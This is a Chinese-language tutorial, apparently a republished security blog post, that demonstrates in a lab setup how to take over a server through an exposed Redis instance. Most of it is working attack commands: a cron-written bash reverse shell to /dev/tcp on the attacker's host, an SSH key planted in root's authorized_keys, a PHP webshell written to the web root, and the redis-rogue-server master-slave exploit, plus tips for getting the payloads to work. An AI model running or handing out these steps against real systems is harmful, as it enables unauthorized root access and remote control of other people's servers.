黑客是如何通过开放的Redis服务入侵服务器的
VSole2022-05-09 06:02:58
0x00 简要说明
百度百科:Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis因配置不当可导致攻击者直接获取到服务器的权限。
- 利用条件:redis以root身份运行,未授权访问,弱口令或者口令泄露等
环境准备:
测试环境IPKali192.168.100.99靶机(CentOS 7)192.168.100.101
0x01 CentOS 7安装Redis
# 安装gcc [root@localhost ~]# yum install -y gcc # 下载解压redis安装包 [root@localhost ~]# wget //download.redis.io/releases/redis-5.0.0.tar.gz [root@localhost ~]# tar xvf redis-5.0.0.tar.gz # 编译并执行安装,指定安装目录为/usr/local/redis [root@localhost ~]# cd redis-5.0.0/ [root@localhost redis-5.0.0]# make && make install PREFIX=/usr/local/redis # 启动redis服务并保持后台运行 [root@localhost redis-5.0.0]# cd /usr/local/redis/bin/ [root@localhost bin]# ./redis-server & # 关闭保护模式 [root@localhost bin]# ./redis-cli 127.0.0.1:6379> config set protected-mode no
0x02 通过计划任务反弹shell
利用条件:
- redis以root身份运行
- 未授权访问或授权口令已知
在kali中通过redis-cli -h 192.168.100.101 -p 6379
连接到redis,输入以下指令利用crontab反弹shell
# cron表达式格式:{秒数} {分钟} {小时} {日期} {月份} {星期} {年份(可为空)} 命令 # 每分钟执行一次echo "haha":* * * * * echo "haha" 192.168.100.101:6379> set x "* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1" # 设置目录为/var/spool/cron/ 192.168.100.101:6379> config set dir /var/spool/cron/ # 设置文件名为root 192.168.100.101:6379> config set dbfilename root # 保存快照到本地 192.168.100.101:6379> save
kali中打开一个新的命令行窗口执行nc -lvnp 4444
进行监听,过一会儿就能接收到反弹回来的shell:
由于redis的压缩储存机制,在某些情况下会因为反弹shell的指令被压缩,从而导致反弹shell失败:
192.168.100.101:6379> set x "* * * * * bash -i >& /dev/tcp/192.168.100.100/4444 0>&1" 192.168.100.101:6379> save [root@localhost ~]# cat /var/spool/cron/root * �bash -i &> /dev/tcp/192.168.100@/4 0>&1 192.168.100.101:6379> set x "* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1" 192.168.100.101:6379> save [root@localhost ~]# cat /var/spool/cron/root * * * * * bash -i &> /dev/tcp/192.168.100.99/4444 0>&1
当运行redis的用户为普通用户时,会无法出现切换目录失败的情况:
config set dir /var/spool/cron (error) ERR Changing directory: Permission denied
0x03 通过写入SSH公钥远程连接
利用条件:
- redis以root身份运行
- 未授权访问或授权口令已知
- 服务器开放SSH服务且允许密钥登录
在kali中使用ssh-keygen -t rsa
生成密钥:
将生成的公钥文件保存到本地:
┌──(root?kali)-[/home/kali] └─# (echo -e ""; cat /root/.ssh/id_rsa.pub; echo -e "") > kali
将文件写入redis进行利用:
# 将上一步生成的kali文件写入redis并设置键的值为kali ┌──(root?kali)-[/home/kali] └─# cat kali | redis-cli -h 192.168.100.101 -p 6379 -x set kali # 连接redis,并将公钥文件写入/root/.ssh/authorized_keys中 ┌──(root?kali)-[/home/kali] └─# redis-cli -h 192.168.100.101 -p 6379 192.168.100.101:6379> config set dir /root/.ssh/ 192.168.100.101:6379> config set dbfilename authorized_keys 192.168.100.101:6379> save # 使用密钥进行登录 ┌──(root?kali)-[/home/kali] └─# ssh -i /root/.ssh/id_rsa root@192.168.100.101
0x04 通过写入文件获取webshell
利用条件:
- 未授权访问或授权口令已知
- 服务器开着WEB服务且WEB目录路径已知
倘若服务器运行着LAMP/LNMP服务,且已知工作目录为/var/www/html/
,可通过以下指令写入webshell,或参考写入SSH公钥的过程写入木马文件:
config set dir /var/www/html/ config set dbfilename shell.php set x "" save
0x05 通过主从复制获取shell
利用条件:
- 未授权访问或授权口令已知
- Redis <=5.0.5
参考地址://github.com/n0b0dyCN/redis-rogue-server
使用方法:
python3 redis-rogue-server.py --rhost --rport --lhost --lport
参数说明:
- –rpasswd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码
- –rhost 目标redis服务IP
- –rport 目标redis服务端口,默认为6379
- –lhost vps的IP地址
- –lport vps的端口,默认为21000
┌──(root?kali)-[/home/kali] └─# git clone //github.com/n0b0dyCN/redis-rogue-server.git ┌──(root?kali)-[/home/kali] └─# cd redis-rogue-server ┌──(root?kali)-[/home/kali] └─# python3 redis-rogue-server.py --rhost 192.168.100.101 --lhost 192.168.100.99
| 文章来源于https://codingnote.cc/p/547004/

VSole
网络安全专家